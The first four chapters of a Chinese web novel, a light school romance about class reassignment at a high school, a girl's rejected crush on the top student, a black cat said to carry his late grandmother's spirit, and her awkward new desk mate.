《猫猫狗狗的恋爱真难》
1. 第 1 章
“——听说了吗,分班名单要出了!”
九月初,本应属于秋天的开始,然而在江城这个光夏天就占大半年的城市里,九月只是酷暑的延长罢了。
似乎是感受到了实验一中校园内的紧张与不安,即使是早晨,空气中都涌动着燥热因子,日光也格外热烈,洋洋洒洒地洒下来,在走廊地板上毫不客气地留下大片金灿灿的光芒。
“分班按照什么分?按开学考吗?上学期期末的考试成绩看不看啊?”
听到消息后,有人急急道,语气里隐约有些担忧。
毕竟一个暑假过后,脑子里的知识就像海绵里的水,早被晒干了。
自个考出一坨不要紧,可万一其他人真学了,弯道超车咋办?
现在他们虽然人都搬到了高二楼,但开学考试成绩还没出来,所有人依然按照高一的班级待着。
老师,我在二楼挺好的,千万不要把我分到楼上的班级啊!!
等等,自己的选科是什么来着?
实验一中,作为江城首屈一指的优秀高中,每年公布出来的高考成绩,无论是一本率还是重本率的数据,都足以甩开其他学校好几条街。
当然,亮眼的成绩人人想要,但学习的苦并非人人都愿意吃。
相较于其他唯分数至上主义,大搞斯巴达军事化管理的“监狱型”学校,实验一中并没有完全为了优秀率而丧失“人性”,依然给予学生相对而言的自由。
好的学校反而管得不严,也是这些高中生中的“婆罗门”对外装x的重点。
可在某些方面,一中又表现出超强的“封建性”——这点从众人高一入学分班时便可见一斑。
早在学生还没入学,学校便提前以各位新生初中时的几场大考成绩来暗中进行排名,再从第一名到最后一名,依次进行排班。
换言之,那便是成绩最好的人,学号和班级就越靠前。
学校自然不会大张旗鼓,但久而久之,一届届下来,这已经成了学生中心照不宣的潜规则。
若是看到身边同样爬楼梯的同学,走到二楼便施施然进班,那不必多说,人家当然是年级里的学霸。
相应的,若是对方一鼓作气,吭哧吭哧爬到五楼,径直去到走廊尽头才进班,那他在年级的排位也不言而喻。
奈何,这一备受争议、颇为“封建”的陋习,面对新高考的分科改革,也不得不做出一定的改变。
面对同学们五花八门的选科组合,再按照原先的分班形式是不能够了。
于是在高二新学期伊始,实验一中便组织了一场开学考。
美其名曰是为了检验同学们的暑期学习情况,以便让老师们更好地安排自己未来的教学。
至于真实意图嘛……哼哼,当然是为了更好地分班。
今天,九月的第一天,便是那即将公布分班名单、人心惶惶之日。
*
“到了高二,你们就可以集中精力只学六科了,对于个别偏科十分严重的同学来说,这可是大大的机会。”
刚结束紧张刺激的开学考,又还没有正式上课,这两天的课程安排也很轻松,无非就是班会课、讲评课和学校安排的讲座活动。
既然如此,班里的同学自然放松下来,教室里叙旧的叙旧,还有人在偷偷发着自己暑假旅游时买的特产。
叙旧之余,也有人好奇起选科后的分班名单,即使讲台上已经站着班主任,小声谈论的话题也三句不离分班。
到底什么时候才出结果啊?
奈何老师就像是被下了某种严格的封口令,只是顾左右而言他,借此机会讲着选科分流后的好处。
听着听着,坐在后排的盛逸不由得打了个哈欠。
没办法,为了应付昨天的化学考试,他已经好几个晚上没有睡过好觉了,就连睡觉都得枕着一本厚厚的学霸笔记,做梦都在给方程式配平。
就是希望老天爷能看在自己如此勤奋刻苦的份上,高抬贵手多给几分。
想到自己过去的整个高一,就没有上过三十分的化学成绩,盛逸就一阵心痛。
这是高中生涯里为化学的最后一战,必须厚葬!
“盛逸!”
站在讲台上的班主任好不容易整顿好班里的纪律,正讲得认真,冷不丁看见他在下面一副漫不经心的样子,整张脸顿时皱作一团。
“我说的就是你!”
穿着米色长裙,戴着圆框眼镜的许文言敲敲桌子,痛心疾首道,“你的化学成绩,甚至都拿不到地理分数的四分之一!”
天晓得,她每次看到盛逸的成绩单,心率都吓得不齐了,完全就是在坐过山车。
作为一个刚毕业没几年的新牛马老师,就因为这样的学生,她体检频率都变高了。
成绩单上,一排学科横着看过去,化学总是水灵灵地挨在地理分数的前面——
“21”、“93”,不知道的还以为前面是单独列出来的小题分。
害她没少被大自己二十年教龄的化学老师贴脸唉声叹气。
“就算你的班主任是地理老师,也不用这么给我面子吧!”
许文言半开玩笑半认真,紧接着又叹气,“幸好你没有继续坚持学习化学。”
“老师,”盛逸撑头,语气还是懒洋洋,“你不能这样讽刺你的得意门生啊。”
“我也不想,”许文言面上的痛心不减,“实在是你偏科严重到都成年级里的典型了,幸好现在选科自由能救你一命。”
她想不通,盛逸的语文很亮眼,地理成绩那更是狠狠给自己长脸,可再看其他的文科,政治历史又每次只能在及格线徘徊。
偏科偏得这么精细,新高考选科简直是为他量身定做。
连他之前的同桌都说真学神控分,怀疑他是演的。
面对众多猜测感慨,盛逸都懒得辩解,难道世界上还有人闲着没事伪装成绩吗?
图的啥?
喜欢多爬几层楼?
喜欢冬天寒风刺骨、夏天离太阳最近的体验?
毕竟要不是化学从初中就一直在拖自己的后腿,这学校又太卷,他也不会一开始就被“流放”到20班。
饶是自己腿脚健全、耐热抗冻,也受不了每天因为楼层高,连吃饭都慢人一步的待遇!
就算是为了食堂二楼阿姨每日限量必抢的经典风味叉烧饭,他也已经做好了选择——物生地。
扬长避短,坚决避开自己的短板学科!
高二必须分到一个楼层低的班!
*
还没领新书的高二新生们本以为今天可以早早放学,但一中的老师显然不会放过任何人,连暑假作业和开学考卷子都挑着讲完后,一天的课程才差不多结束。
这时已经日落西山,霞光将整个校园都变成了红色,平添几分艳丽。
私下和同桌对完答案,对自己分数排位差不多有预期的盛逸比众人都晚一步背起书包,慢悠悠地往楼下走。
这把稳了,他肯定能摆脱五楼地狱,和食堂二楼阿姨的关系也能突飞猛进,更加亲密了。
光是这样想着,盛逸回家的脚步都格外轻快,恨不得一步能跨三个台阶。
等他差不多走到了二楼,忽地发现关系亲密的,原来不止自己和食堂。
还有眼前立着的一对男女。
两相对视,欲言又止。
郎有情妾有意啊这不是?
也许是心情好,盛逸难得有了好奇心,回家的脚步也慢了几分。<
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p>侧面对着自己的男生看不清楚脸,只能看到整洁干净的校服衣领边露出来的一截脖颈……倒是挺白的。
盛逸想起来高一同桌曾经发表过的偏见言论:长这么白的男生打篮球都很弱。
又看看对方的身高,他摇摇头,如果对方不会打篮球的话,实在可惜。
而站在男生对面的那个女生,盛逸定睛看去,待看清对方容貌的瞬间,眼眸不禁放大了几分。
那女生有着一头在校园里顶级罕见的羊毛小卷,披在身后显得她本就小的脸更加小。
而那张脸上的五官,该大的大、该小的小、挺的挺、红的红……
有点好看呐……
明明大家都穿着千篇一律的藏青色校服,就她像活在漫画里的女主角。
盛逸又往前走了几步,欲盖弥彰地蹲在地上假装要系鞋带,实则耳朵高高竖起。
“一个暑假都没见面,”这女孩声音和精致的外表不一样,有点冷冷的,“现在又有什么话好说?”
这台词,吵架了啊?
盛逸想脑补点什么,但苦于自己西红柿小说阅读量不足。
“……这些给你。”
面对女生的冷言,男生只是将手上一直拿着的东西递过去,对她的问题避而不答。
感觉声音有些耳熟,盛逸又鬼鬼祟祟抬头——
哇哦,这男主角不是蝉联了实验一中整整一学年的年级第一吗?
学号001的超级大学霸。
叫裴什么来着?
裴少言好像是。
对方还曾经在升旗台上演讲,分享自己的学习经验,也是他耳朵的记性好,一下便认出来了对方的身份。
*
低头看到裴少言给自己递过来一大叠课外资料,应琮几乎是冷笑出声。
学霸笔记、某后雄、六年高考三年模拟……还真是多亏了他将市面上的资料都搜罗在一起。
“你什么意思?”
她双臂环绕在胸前,笑容漂亮又冷淡,直白道,“觉得我成绩太差了配不上你?”
虽然自己的确是凭借初中相对优秀的成绩,能够进入1班。在班里也确实次次都几乎倒数,但也不能这么羞辱人吧?
“裴少言,”应琮看也不看裴少言手上的书,“你不要以为自己成绩好就可以了不起,我……”
“我没有觉得自己了不起。”
她话未说完,裴少言便打断道,语气却很平静。
原本要说出口的话被打断,应琮定定地看着对方黑白分明的眼眸,没有再开口。
二人就这么面对面地一言不发,沉静许久,忽而应琮转身朝着另一个方向走了。
她的步子迈得很大,脚步也很快。
看着对方逐渐离去的背影,裴少言低头,看了看自己手上的一摞资料,沉默地回了班。
*
见走廊上都没了人影,蹲在地上几乎要化作一座雕像的盛逸这才踉跄起身,差点腿麻了。
001同学这么不近人情的吗?
没想到二楼的同学们还挺爱也匆匆恨也匆匆的。
可惜他只想在江湖悠悠。
这样一看,相较于火箭班,自己班里的同学还是很不错的!
虽然笨是笨了点、懒是懒了点、笨是笨了点、笨……
等下,盛逸忽然想到了什么,心里一紧。
今早出门前,他妈好像说了什么就算自己的分数不够也会……给他搞进二楼火箭班里熏陶熏陶?
Holdon,holdon!
自己虽然喜欢楼层低的班级,但也并非有一颗执着当凤尾的心啊!
实在不行三楼也挺好的。
盛逸回家的脚步从来没有那么快过。
2. 第 2 章
天黑得慢,当应琮一个人走在回家路上时,头顶依然有落日的余晖。
即使晚霞如此美丽,依然无法拯救她糟透了的心情。
上一次回到家的心情像莫名其妙淋了一身雨还是……
“宝贝回来啦?”
听见钥匙开门的声音,应雨柔擦了擦手上的水,从厨房迎了出来。
她总是在看到应琮之前就先扬起笑脸。
哪怕已经习惯了不施粉黛,但应雨柔的底子依然保养得很好。
在外人看来,她就像是应琮一个明眸善睐的姐姐,一笑起来仿佛真可以点亮这个两室一厅的小套房。
应琮也有和妈妈一样的习惯,只是她此刻心情不好,嘴角只能勉强抿出两个小弧。
注意到她的情绪,应雨柔眉头轻皱,又看到女儿两手空空,不禁有些奇怪。
“怎么,今天没有背书包回来的吗?”
“今天还没发新书,就留在学校了。”
应琮正是藏不住事的年纪,声音闷闷的。
应雨柔张了张嘴想多关心两句,又不知道她到底怎么了,便顺着她的话温柔道,“好好,还是宝贝聪明。今天妈妈接到电话,说咱家的车修好了,以后可以继续接你和小裴放学。妈妈坚决不让祖国花朵们的肩膀被书包压弯了……”
没想到话还没说完,应琮的脸色更是不好,像是走在路上被人踩了一脚,转头看那人是班主任,想撒气都不好撒。
她“哼哼”两声,打断她妈:“裴少言才不需要接送呢,他估计会在学校学到晚上再自己一个人爬回家。”
然后应琮连零食都不找,径直回到自己的房间,“砰”地关上了门。
这又是怎么了?
注意到她不同寻常的态度,应雨柔愣了一下,随即在原地回忆了几分钟。
呃,上学期……自家女儿开学的时候是不是也不开心来着?
好像是的,似乎但凡是上学日她都不怎么开心,周日下午都会因为第二天要早起上学开始闹脾气,到周一更是严重。
她又点了一下手机锁屏,9月1日旁边赫然是“周一”俩字。
好吧懂了。
自己解救不了厌学症,只能给宝贝做好后勤工作了。
啊呀!差点忘了锅中还有咕嘟嘟冒泡的老鸡汤。
应雨柔手忙脚乱地回到厨房,把灶台的火关小了点,然后看着冒起白沫的鸡汤陷入沉思。
刚刚光顾着揣摩女儿心事了,这汤原先加没加盐都忘了。
她拿着盐罐纠结了半秒钟,毫不犹豫搁了两大勺盐。
到时候咸了多吃点饭就好了。
吃饱了才有力气读书,像对门小裴那样学起来就废寝忘食,可不是她应雨柔倡导的教育观。
可话又说回来,这小裴也真是,刚开学有必要这么拼吗?
都卷到自家的孩了。
*
一进到房间,应琮就像没了骨头似的倒在床上,整个人埋在枕头中。
几秒钟后又像被丧尸附身一般,给床上的玩偶来了结实的邦邦两拳。
不识抬举裴少言!哑巴裴少言!多管闲事裴少言!
该死的裴少言!
一拳一个裴少言!
锤完,她脸都气粉了,又“倏”地倒在床上。
葱白的指节揪住一头卷毛,应琮不知道究竟是对裴少言还是对自己愤愤不平。
和裴少言表白,已经是今年暑假初的事情。
她原本还以为对方整个假期都没明确回复自己是在害羞,没想到原来只是想逃避自己。
搞什么?
如果不是他一而再再而三对自己多管闲事,如果不是同班同学瞎起哄磕cp,她也不会觉得裴少言喜欢自己。
更加不会在期末结束后,不经意地展露自己的心思。
回想起两个月前,他们还刚放暑假——蝉鸣、绿树、阳光、白衬衫少年……
什么都有了,完全就是她想象中青涩校园恋情的标准开头。
应琮还记得当时图书馆冷气不足,自己将特意买多的冰柠茶推给裴少言。
结果对方睫毛都不颤一下,甚至直接将书本移开——
然后她的语文书就被莫名其妙撞到桌下,裴少言翻开来的那一刻,她脑子里全是:完了完了……
自己语文课上走神时,就会在课本上练练字,只不过练的是……
数十个岩石灰色的“裴少言”正好暴露在阳光下,挨着自己的名字,应琮慌乱之下连借口都来不及仔细找。
“裴少言,你之前送我的墨水挺好看的。”
——不失体面和矜持的话术。
不是表白胜似表白,懂事的人都能明白她的心思。
但凡是个正常人,此时也应该羞涩一笑,顺其自然地坦白心迹。
可偏偏裴少言完全不是正常人。
他是怎么表示的?
应琮每每想起都觉得气短,仿佛一盆冷水从头浇到了尾。
将近四十度的天气,他吐出冰凉的两句话:
“应琮,如果你没有学习的心情——”
少年欠缺打理而略微扎眼的发梢下,冷淡的眼神像锋利的玻璃碴:
“以后还是别和我来图书馆了。”
刺得她心肝脾肺疼。
*
怒!怒!怒!
回想往事,应琮再次怒锤玩偶,惹来客厅妈妈及时的关心:“宝贝,把小兔砸扁了可不能怪干洗店洗缩水哦——”
自己要样貌有样貌,要成绩有样貌,裴少言居然不识好歹!
拒绝就算了,连委婉像样的话都不说出口。
应琮暗暗咬牙,她也没有那么差劲吧?!
不,差劲的人明明是裴少言!
她从床上弹射起身,拿起抽屉里的手机,翻出来裴少言的联系方式就要拉黑。
“喵呜喵呜!”
头顶忽然传来熟悉的猫叫声。
顺着声音,应琮抬头去看,自己书架的最上层,那只通体油光顺滑的黑猫正居高临下地看着自己。
即使刚刚围观了少女的暴怒独角戏,猫咪也没有任何被吓到的应激反应。
看到猫的一瞬间,应琮更是怒气上脸,对着她坐起来就开始一通输出。
“裴少言真的很坏,我以后不会再和他见面了!”
什么裴少言是个知书达理、温文尔雅的好孩子,分明就是一个高傲得不可一世的人,恶劣极了。
听着她讲裴少言的坏话,猫咪轻巧地从书架上一跃而下,跳到桌面,长长的尾巴轻轻勾着应琮的胳膊。
虽然一声不发,但应琮能感觉到黑猫似乎是在安抚她的情绪。
“坏猫,明明救下你的人是我……”应琮坏脾气地扯她的尾巴,黑猫毫不反抗。
凝视黑猫黄铜色的圆眼睛,好像在代替惹她生气的人告饶,应琮原本想发火的心又渐渐按捺下去。
她回应般摸摸猫猫,似是自言自语道,“算了,说到底都是我的错。”
如果不是自己同情心忽然泛滥,把这只黑猫自顾自带回了家,对方也不会迫不得已缠着自己……也不会和那家伙有这么多交集。
想到中考完自己捡到这只猫的时候,还是上个暑假。
眨眼间一年都过去了,之前发生的事情却依然记忆犹新。
应琮一下一下抚着猫咪的后背,今天是没有学习的心情了,她仰面倒在床上,任由思绪又开始纷飞。
*
黑猫虽然叫咪咪这一如此普通的名字,却并不是一只普通的猫。
哦不,严格说来,她甚至并不只是一只猫那么简单。
她自称自己是裴少言已经过世的外婆。
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琮也万万没想到,自己难得一日善心大发,在路边捡只流浪猫回家,还能误入灵异片场。
以前见过的老人不是说“猫来富,狗来财”吗?
怎么到自己,就变成了请了个寄生阿飘回家?
一开始的时候,应琮也不知道咪咪的底细,因为对方平日里表现得和一只普通的小猫没有任何区别,吃吃喝喝睡睡玩玩,过得悠闲自在。
甚至对方的体检结果也都一切正常,喵喵叫也听不出丝毫端倪。
爱干净懂礼貌,妈妈还夸它简直就是报恩来的。
等咪咪真正开始展露异于常猫的时候,是当中考刚出分不久的时候。
彼时应琮正忙着和朋友们探讨高中应该去哪里,可谓是友情和前途的选择大考验。
咪咪却忽然焦躁不安地在家一直叫,无论怎么哄都哄不好。
妈妈睡眠不好,好不容易才睡着,应琮当然不会去打扰,而爸爸又一次因工作彻夜不回家。
她一个人被小猫吵得实在头大,只好抱着对方早早上床睡觉。
就是那晚,在应琮的梦中,出现了一个身着灰蓝色长裙,蓬松灰白短发,细眉弯弯的奶奶。
对方正笑脸盈盈地注视着自己。
即使在梦中,但可能是自己睡得太浅的缘故,应琮能够清楚地感知到这和现实不同。
“你是谁?”
比起对方,应琮显然是更好奇的那个。
对方慈眉善目,神情中的温和沉稳总是让她觉得眼熟,但又的确是自己从未见过的人。
奶奶一开口,更是对她投下一颗惊雷炸弹——“我是咪咪。”
没等她作反应,对方又道,“或者是,我是一个寄居在咪咪身体里的孤魂。”
“你可以叫我裴奶奶。”
梦里听到的一切话语似乎都比现实更有蛊惑力,应琮几乎是毫不怀疑就接受了这个在现实中,正常人都会觉得匪夷所思的回答,只是立马陷入羞赧。
那平时自己对咪咪又抱又亲的岂不是……
似乎是看穿了她的心思,裴奶奶淡定地安慰道,“平时还是它主导自己的身体,我只残存了一些意识罢了。在关键时候我才会托梦给你,毕竟一方面这有违命运法则,另一方面,我也需要时间积攒能量。”
哦,还挺有道理的……
好不容易克服了自己心里的怪异感受,应琮几乎是很快就反应过来:“关键时期?现在是什么的关键时期?”
难道是……自己的高中择校?
这是神仙奶奶来指导她了?
老天奶显灵?
没想到,裴奶奶开口的下一句话又将她定在了无法思考的原地。
“事关你的家庭,你的父亲。”
“你的父亲李正心,他并不如表面那般对你的母亲、你们的家庭忠诚无二。”
“他在外面还有一个和秘书的儿子,对方只比你小了几岁。”
三句话,将应琮十几年来自以为美满幸福的家庭搅了个支离破碎。
*
应琮醒来后,一个人足足缓了三天。
而后她隐去梦和猫咪奶奶,把这些话带给应雨柔,又将她父亲十几年来自诩掌控到位的家庭搅得天翻地覆。
从此李琮改名应琮,她和妈妈拿着应得的财产,搬到了这个两室一厅的小套房。
考虑到家中现在的经济条件不比从前,应琮没有继续和公主少爷们在私立贵族高中做同学,而是选择了家附近的实验一中。
然后就认识了她现在的邻居、高一的同桌,裴少言。
猫猫轻轻咬了一口应琮的手,将她从回忆中拉回来,应琮刚松开手,它便一溜烟从自己怀里跑了下去。
应琮知道,这是真猫猫又不让抱了。
哼,连安慰自己都这么短的时间而已,看来裴少言的外婆和他一样惜时如金。
3. 第 3 章
“CC!”
手边的手机忽然震动几下,应琮拿起一看,原来是自己在隔壁班的好朋友,程依依发来的信息。
“你打探到了什么消息?”
虽然只有短短一个称呼一个感叹号,但根据应琮对她的了解,对方肯定又来给自己汇报今日的八卦成果了。
毕竟高一时,2班的历史老师老王就曾经评价道,若不是生错了年代,程依依同学怎么也得是特务机构里数一数二的扛把子。
上可知校内教职工的秘闻八卦,下也通各年级男女中的绯闻传言。
无论是最新通知还是私人纠纷,都逃不出她的手掌心。
“根据我的打探以及上一届学姐的信息,”程依依边打字边发来一张表格,“咱们的选科分班,大概率是这样的。”
应琮点开大图,发现每一个班级都重点标注出了选科组合。
根据选科大类,物理班和历史班各自分出来两个火箭班,四个班共同盘踞在二楼这一黄金地段。
其中一个是纯理或纯文班,另外一个是不同组合凑在一起的“拼盘”班。
“可是这两个班,大家的选科都不一样,怎么上课?”应琮想不明白。
总不能A老师上三分之一,BC老师再依次上台授课吧。
“他们有专门的走班教室,”考虑周全的程依依早已从前辈口中了解清楚,“上另外两门课的时候,就去专门的教室。”
原来如此,她们学校也是够费劲的。
应琮暗自在心里算了算自己大概在年级的排名。
只能说中考是她超常发挥,若是再结合上学期末的成绩,想必自己是没什么希望再进1班了。
二楼就两个物理班,年级里各个龙争虎斗,竞争激烈,她削尖脑袋也优势不大。
哼哼,反正根据她高一的经验,所谓火箭班,也没什么了不起。
毕竟成绩不能完全代表人品素质。
若是能离开,自己刚好还能离裴少言这个人远一点。
想到裴少言和他手上的一叠资料,应琮就气得牙痒痒。
当时就应该把这些资料接过来,狠狠甩在他的脑袋上的。
可话又说回来,分班自己大概率会是在三楼或者是四楼的9班、10班。
毕竟再往上的班级都是历史班,再怎么说她也不可能被分过去。
但是楼上……
“你会去哪个班?”应琮问道。
她知道偏科严重的好朋友坚定不移地选择了历史,但历史也有好几个班,究竟是哪个呢?
“我当然是去20班啦。”
程依依发来一个“比耶”的表情。
“不至于吧?!”
一个年级总共也就才20个班呢。
“我想好了,以后我要走艺考的路子。而咱们学校历来的规矩,就是把艺术生划给20班。”
“啊?!!”
看到信息的刹那,应琮连按了一长串的问号。
程依依从来没有跟自己说起过,她在吃惊之余也有些失落。
平复了好几秒,应琮才可怜兮兮打字道:“那我们岂不是要隔开了?”
“也没有很远啊,就几层楼而已。”程依依倒想得很开。
“那也很远。”应琮发去一个哭哭的表情。
因为应雨柔和某人离婚后,她们母女几乎是换了一个地方重新开始生活,所以实验一中里几乎没有自己以前的同学。
好不容易交到一个好朋友,这才短短一年,又要离她“远去”了。
应琮躺在床上,仰望着头顶明亮雪白的灯光,莫名感觉自己的高二生活,有点和想象中的不一样。
这还没正式开始呢……就有点不想开始了。
*
次日,似乎是年级里都听到了风声,虽然还没有出正式的分班名单,但大家都叽叽喳喳地讨论起自己可能会去的班级。
下课时间,走廊上聚集着一堆又一堆的人。
“听说老师们也有调整。”
程依依挽着应琮的胳膊,小声道。
应琮没说什么,她本来就没有什么特别喜欢或者是讨厌的老师,换不换的也没差。
“对了,”程依依又提醒道,“正式的名单好像等会儿第四节课就会出,你赶紧回班提前收拾收拾东西吧。”
“不着急吧?”因为是走读生,应琮座位上的东西并不多,“倒是你,我记得你座位上还有好几个娃娃呢。
她之前去过隔壁班,程依依的座位最引人注目。
不大的桌面上,摆的大小物件是琳琅满目,真切贯彻了“要把学校当作自己家”的口号。
也难怪她上课最容易被老师点名。
“我的孩子们都已经提前收拾到箱子里了。”
程依依别的不说,对那些小东西倒是爱意满满,格外上心,“到时候背一个书包,搬一个箱子就够了。”
“欸!”
看到走廊另一边走来一个人,她眼睛一亮,胳膊肘捣捣应琮,悄咪咪道,“那谁来了。”
和姐妹对视一眼,应琮就知道对方是什么意思。
她不动声色地抬了抬自己的下巴,露出光洁流畅的脖颈和最引以为傲的黄金右脸。
哼,自己不可能给他任何好脸色。
应琮虽然认真凹着造型,但余光不由自主地轻轻瞥向走廊正中。
裴少言不疾不须地走着,甚至不知道有没有注意到她,便回了班。
“你们怎么连招呼也不打?”
程依依狐疑得眼珠直往两人身上打转,“就算是同班同学,看到了也应该理一下吧?
“谁要和他打招呼了!”应琮没好气道。
“莫非……”
程依依意味深长地眯起眼,挽着她的手紧了紧,“你们之间发生了什么我不知道的事?”
“哪有……”听到她的话,应琮不自然地别过头。
“你能不能别乱猜!要上课了,我,我回班了。”
见一向喜怒不形于色的人,脸上竟然闪过了慌乱、紧张和羞涩,而且还落荒而逃。
程依依若有所思地看着姐妹匆匆而去的身影,脑子里飞过一万个猜测。
*
临近中午,日头直射二三楼,照得人几乎睁不开眼。
高二(6)班门口,许文言正期待着自己的新学生们。
她已经提前看过名单了,里面有好几个自己之前教过的学生。
不过令她有些奇怪的是,按照盛逸的综合成绩,本来他是能够进入2班的,却不知为何又出现在6班的名单上。
恰好自己又被分到6班当班主任……
难道是校领导看重她,把竞赛的好苗子给她培养?
见已经有动作快的人陆陆续续从楼上楼下走来,许文言收起自己的胡思乱想,她面上扬起笑容,准备好好迎接自己未来两年要朝夕相处的学生们。
“哟,许老师!”
一个她再熟悉不过的声音响起,楼梯上走下来一个瘦高细长的男生,他手上提着书包,背上还背着一副羽毛球拍。
“你怎么来当6班的班主任了?”
男生咧嘴一笑,话里带着调侃,“我还以为能摆脱你的魔掌呢,没想到还是道高一尺魔高一丈啊!”
“丁一锐,快点进班吧。座位表已经放在
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屏幕上了。”
许文言脾气好,知道他在开玩笑,也没有生气,只是催促着。
“收到!”
丁一锐特意立正,冲她敬了个礼,笑嘻嘻地进班。
看看时间,许文言又探头看了看班里的人数,依然剩着几个空位。
这些人该不会是偷偷跑去吃饭了吧?
她琢磨着,手指轻轻敲着自己的手臂。
“老师,您能稍微让一下吗?”
一个清透的声音从旁边冒了出来,许文言顺着声音扭头看去,自己面前站着一个犹如洋娃娃一般的女生。
自己都没有意识到的,她的面上浮现出笑容。
“欢迎加入6班。”许文言的眼眸弯弯,给搬着书箱的女生让位。
虽然不知道这个学生叫什么名字,但其实自己在学校里也经常会遇见对方,或许是因为她的体貌特征实在明显。
哪怕是全校一起的活动,在茫茫人海中,都能轻易地一眼发现。
*
教室里基本上都坐满了,应琮搬着箱子,按照屏幕上已经提前安排好的座位表,从所剩无几的空位中找到了自己的座位。
进门时,她明显感受到下面其他同学或好奇或探究的目光。
应琮面上没有表情,她已经习惯了这种氛围。
新的班级,新的同学,新的位置。
一切都要重新开始……了吗?
应琮自顾自地在位置上坐下,虽然有些靠后,但还好自己靠着过道,出入都方便。
她刚坐下来没几分钟,忽然传来一阵强烈的脚步声,像是有人一溜烟地跑进教室。
“盛逸——”
许文言的声音里充满警告,他竟然敢踩着中午放学前的最后一分钟过来。
自己原本还打算这节课能预留十分钟做个简单的班会介绍的,这下全被打搅了!
知道盛逸是故意的,所以许文言更加生气。
“又见面了啊许老师,真是太巧了!”
盛逸脚底抹油,边看着座位表,边和坐在前面的好哥们使了个眼色。
待到自己的座位前,他愣住了。
这不是?
“你你你——”
盛逸都找不到自己的舌头了。
昨天刚刚看完人家热闹。
怎么今天就成了自己的同桌?
应琮微微抬头,只是简单一瞥,表情没有任何变化。
又来一个没礼貌的男生,上次也有这种莫名其妙盯着自己脸看的人。
然后过了两个星期就堵在门口要和她表白,闹得人尽皆知。
虽然她压根就不认识那个男生,平时更是毫无交集,可礼貌拒绝对方之后,挨骂的对象居然是自己。
想到往事,应琮更加不愿理会对方。
她低下头,注意力放在自己刚整理好的抽屉里。
“你让让啊,我进不去。”
好不容易找回自己舌头的盛逸,话到嘴边转了一万个弯才说出口。
虽然话里没什么问题,奈何他的语气实在奇怪,再配合着生硬的表情,任谁看都感觉不是很友好。
是挑衅,还是讽刺?
果不其然,面前的新同桌脸色不仅没有缓和,反而变得更差。
周围无论是背对着还是正对着他俩的同学,无一不屏住呼吸,打起了看热闹的全副精神。
开学第一天,有什么比抓马更吸引人的?
让位是吧。
沉了口气,应琮捏着拳头,“蹭”的一声站起来,走到旁边站定。
她盯着屏幕上的名字,暗暗咬牙。
盛逸,她记住了。
4. 第 4 章
还没等盛逸进到位置里,中午放学的铃声便响了。
应琮没好气地瞥了一眼依然挡在自己面前的男生,拿起挂在桌边的书包,转身从后门离开。
好戏已经落下帷幕,其他人见状,也陆续去吃饭。
“她刚刚是不是瞪我了?”
后知后觉的盛逸指着自己,转头看向他的好哥们。
“嗯。”
丁一锐沉痛点头,随即拍拍他的肩。
“恭喜你,成功给校花留下一个糟糕的初印象。”
“不至于吧。”
盛逸将自己的书包随意甩在座位上,准备和他一起去饭堂。
“我说的本来就是实话。你看前后位置那么窄,而我的身躯又高大无比。”怎么能直接进去?
“那你看看老许能不能让你们左右换个位置,不就妥了?”
“不扯了。”盛逸摆摆手,急着去吃饭。
开学第一天就落人一步怎么行?
“今天去几楼吃饭?”他道。
再磨磨蹭蹭耽误时间,回头高一的那群蝗虫大军就要席卷饭堂,寸草不生了。
自己可不想过去了发现窗口里只剩下残羹剩菜。
“三楼吧,一楼估计已经人山人海了。”
丁一锐也是抢饭的过来人,深愔抢占先机的重要性。
还好作为高二的“中登”,他们已经掌握了通往饭堂最快的一条秘密小路。
*
饭堂三楼,窗明几净,桌椅整齐。
这里不同于一二楼普通的打饭窗口,而是分别承包给不同的餐饮,个个档口都布置得花里胡哨。
天南海北的特色美食,在这里都能吃到。
若说唯一美中不足的,便是三楼饭菜的价格稍稍高些,一顿饭差不多能在楼下吃两顿了。
所以一般选择在三楼吃饭的人并不多。
“你的新班级还好吗?”
程依依低头把咖喱饭中自己不爱吃的胡萝卜挑到一边。
应琮没什么食欲,有一搭没一搭地用筷子戳着自己盘子里的鸡翅。
“就那样吧,不高不低的楼层还可以,班里的男女比例还可以,班主任是个女的也还可以……”
“同桌呢?”
“同桌不可以。”
听到这一问题,应琮语气和脸色都一变,“同桌看起来像是那种……怪怪的人。”
过了一会儿,她像是找到了形容词,又补充道:“有点像体育生。”
那种只长个子的人。
“别开玩笑了,”程依依顺走她盘里一块鸡翅,“咱们年级里的体育生可都在我隔壁呢。”
五楼才是体育生大观,走廊上一堆空气投篮、孔雀开屏、脚跟不着地的人机哥,光看一眼就感觉有点窒息。
“只是一种感觉。”
应琮耸耸肩,不想再继续谈论自己的事,转而问对方的情况。
程依依放下自己的勺子,伸出手来如数家珍:“班主任是以前教8班和14班的历史老师,看起来有点像中年版的胡英俊,听说不是很严厉……班里女多男少,美女多帅哥少……然后我的同桌是一个学中国舞的女生,长得跟仕女图里的西施一模一样。”
应琮不得佩服她的情报能力,就这么点时间,都能说出来一长串。
“那当然!”程依依的骄傲就在于自己的信息资源,“再过一个月,我都能写出来我们班每个同学的个人小传。”
“期待程老师的大作。”
应琮拿起筷子,把自己盘子里还没动过的小炒牛肉也给对方夹过去。
*
二人边聊边吃,吃完便去角落里放餐盘。
正准备下楼梯时,程依依一掏自己的口袋,顿时吓得花容失色。
“我的保持器呢?!”她抓着应琮的胳膊。
虽然好不容易等到能摘钢牙了,但自己还要再戴整整大半年的透明保持器才能维持牙齿的整齐。
毕竟保持器是专门去医院定制的,每天又都要戴,丢了很麻烦。
所以整个假期里程依依一直小心翼翼的,像保护自己眼珠子一样保护着这副透明“假牙”。
没成想,这才刚开学,就不见了。
“刚刚吃饭前不是取下来了吗?”应琮关切道,“要不一起回座位找找看?”
程依依急急跑在前面,回到二人刚才坐过的座位,仔仔细细上上下下都找了一遍,依然没有看到它的影子。
“我记得你是用纸巾包住的,看看地上有没有纸团?”
应琮又掏了掏自己的口袋和书包,除了整齐密封的“某达”手帕纸,什么纸巾都没有。
“啊——”
一无所获的程依依烦躁到抓狂。
抓狂到开始胡乱攻击:“都怪牙医,非要让我戴保持器,还说一天要戴二十个小时以上!简直就不是人!”
应琮拉着她坐在座位上,“再想想,我们吃完饭之后的动作是怎样的。”
“吃完饭之后……”
程依依捂着自己的脑门,试图重现五分钟前发生的事情,“我们就站起来,然后端着餐盘走到了那里倒剩饭……”
“糟糕!”
似乎是反应过来什么,她一拍脑袋,有些懊恼。
“想起来了吗?”应琮立刻看向她。
“我好像把它们当作是垃圾,”程依依嘴角向下,委屈巴巴道,“一起倒在垃圾桶里了……”
都怪自己把保持器包在纸团里,吃饭时又用了不少纸巾,混在一起就搞忘了。
